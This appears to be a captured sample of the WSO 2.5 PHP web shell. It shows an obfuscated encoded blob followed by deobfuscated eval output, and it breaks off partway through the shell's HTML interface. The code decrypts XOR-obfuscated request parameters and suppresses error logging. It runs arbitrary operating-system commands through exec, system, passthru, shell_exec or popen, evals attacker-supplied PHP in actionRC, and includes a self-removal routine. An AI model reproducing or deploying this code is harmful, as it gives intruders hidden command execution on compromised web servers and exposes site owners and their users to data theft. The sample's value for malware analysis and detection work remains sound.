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";
eval /* PHPDeobfuscator eval output */ {
    $default_key = md5($_SERVER['HTTP_USER_AGENT']);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . "key", $default_key);
    }
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $default_charset;
    }
    if (!isset($_POST['ne'])) {
        if (isset($_POST['a'])) {
            $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['c'])) {
            $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p1'])) {
            $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p2'])) {
            $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p3'])) {
            $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
    }
    function decrypt($str, $pwd)
    {
        $pwd = base64_encode($pwd);
        $str = base64_decode($str);
        $enc_chr = "";
        $enc_str = "";
        $i = 0;
        while ($i < strlen($str)) {
            for ($j = 0; $j < strlen($pwd); $j++) {
                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                $enc_str .= $enc_chr;
                $i++;
                if ($i >= strlen($str)) {
                    break;
                }
            }
        }
        return base64_decode($enc_str);
    }
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    @define('WSO_VERSION', '2.5');
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $default_use_ajax;
    }
    if (get_magic_quotes_gpc()) {
        function WSOstripslashes($array)
        {
            return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
        }
        $_POST = WSOstripslashes($_POST);
        $_COOKIE = WSOstripslashes($_COOKIE);
    }
    if (strtolower("PHP") == "win") {
        $os = 'win';
    } else {
        $os = 'nix';
    }
    $safe_mode = @ini_get('safe_mode');
    if (!$safe_mode) {
        error_reporting(0);
    }
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if (isset($_POST['c'])) {
        @chdir($_POST['c']);
    }
    $cwd = @getcwd();
    if ($os == 'win') {
        $home_cwd = str_replace("\\", "/", $home_cwd);
        $cwd = str_replace("\\", "/", $cwd);
    }
    if ($cwd[strlen($cwd) - 1] != '/') {
        $cwd .= '/';
    }
    if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
        function posix_getpwuid($p)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
        function posix_getgrgid($p)
        {
            return false;
        }
    }
    function wsoEx($in)
    {
        $out = '';
        if (function_exists('exec')) {
            @exec($in, $out);
            $out = @join("\n", $out);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $out = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $out = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $out = shell_exec($in);
        } elseif (is_resource($f = @popen($in, "r"))) {
            $out = "";
            while (!@feof($f)) {
                $out .= fread($f, 1024);
            }
            pclose($f);
        }
        return $out;
    }
    function wsoViewSize($s)
    {
        if ($s >= 1073741824) {
            return sprintf('%1.2f', $s / 1073741824) . ' GB';
        } elseif ($s >= 1048576) {
            return sprintf('%1.2f', $s / 1048576) . ' MB';
        } elseif ($s >= 1024) {
            return sprintf('%1.2f', $s / 1024) . ' KB';
        } else {
            return $s . ' B';
        }
    }
    function wsoPerms($p)
    {
        if (($p & 0xc000) == 0xc000) {
            $i = 's';
        } elseif (($p & 0xa000) == 0xa000) {
            $i = 'l';
        } elseif (($p & 0x8000) == 0x8000) {
            $i = '-';
        } elseif (($p & 0x6000) == 0x6000) {
            $i = 'b';
        } elseif (($p & 0x4000) == 0x4000) {
            $i = 'd';
        } elseif (($p & 0x2000) == 0x2000) {
            $i = 'c';
        } elseif (($p & 0x1000) == 0x1000) {
            $i = 'p';
        } else {
            $i = 'u';
        }
        $i .= $p & 0x100 ? 'r' : '-';
        $i .= $p & 0x80 ? 'w' : '-';
        $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
        $i .= $p & 0x20 ? 'r' : '-';
        $i .= $p & 0x10 ? 'w' : '-';
        $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
        $i .= $p & 0x4 ? 'r' : '-';
        $i .= $p & 0x2 ? 'w' : '-';
        $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
        return $i;
    }
    function wsoPermsColor($f)
    {
        if (!@is_readable($f)) {
            return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
        } elseif (!@is_writable($f)) {
            return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
        } else {
            return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
        }
    }
    function wsoScandir($dir)
    {
        if (function_exists("scandir")) {
            return scandir($dir);
        } else {
            $dh = opendir($dir);
            while (false !== ($filename = readdir($dh))) {
                $files[] = $filename;
            }
            return $files;
        }
    }
    function wsoWhich($p)
    {
        $path = wsoEx('which ' . $p);
        if (!empty($path)) {
            return $path;
        }
        return false;
    }
    function actionRC()
    {
        if (!@$_POST['p1']) {
            $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
            echo serialize($a);
        } else {
            eval($_POST['p1']);
        }
    }
    function WSOsetcookie($k, $v)
    {
        $_COOKIE[$k] = $v;
        setcookie($k, $v);
    }
    function actionLogout()
    {
        setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
        die('bye!');
    }
    function actionSelfRemove()
    {
        if ($_POST['p1'] == 'yes') {
            if (@unlink("/var/www/html/wso.txt.75a3eb84c55556569871868480454c1d.bin")) {
                die('Shell has been removed');
            } else {
                echo "unlink error!";
            }
        }
        if ($_POST['p1'] != 'yes') {
            wsoHeader();
        }
        echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
        wsoFooter();
    }
    function wsoHeader()
    {
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $GLOBALS['default_charset'];
        }
        global $color;
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>\r\n<style>\r\nbody{background-color:#444;color:#e1e1e1;}\r\nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\r\ntable.info{ color:#fff;background-color:#222; }\r\nspan,h1,a{ color: {$color} !important; }\r\nspan{ font-weight: bolder; }\r\nh1{ border-left:5px solid {$color};padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\r\ndiv.content{ padding: 5px;margin-left:5px;background-color:#333; }\r\na{ text-decoration:none; }\r\na:hover{ text-decoration:underline; }\r\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\r\n.bigarea{ width:100%;height:300px; }\r\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; }\r\nform{ margin:0px; }\r\n#toolsTbl{ text-align:center; }\r\n.toolsInp{ width: 300px }\r\n.main th{text-align:left;background-color:#5e5e5e;}\r\n.main tr:hover{background-color:#5e5e5e}\r\n.l1{background-color:#444}\r\n.l2{background-color:#333}\r\npre{font-family:Courier,Monospace;}\r\n</style>\r\n<script>\r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n    var d = document;\r\n\t\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 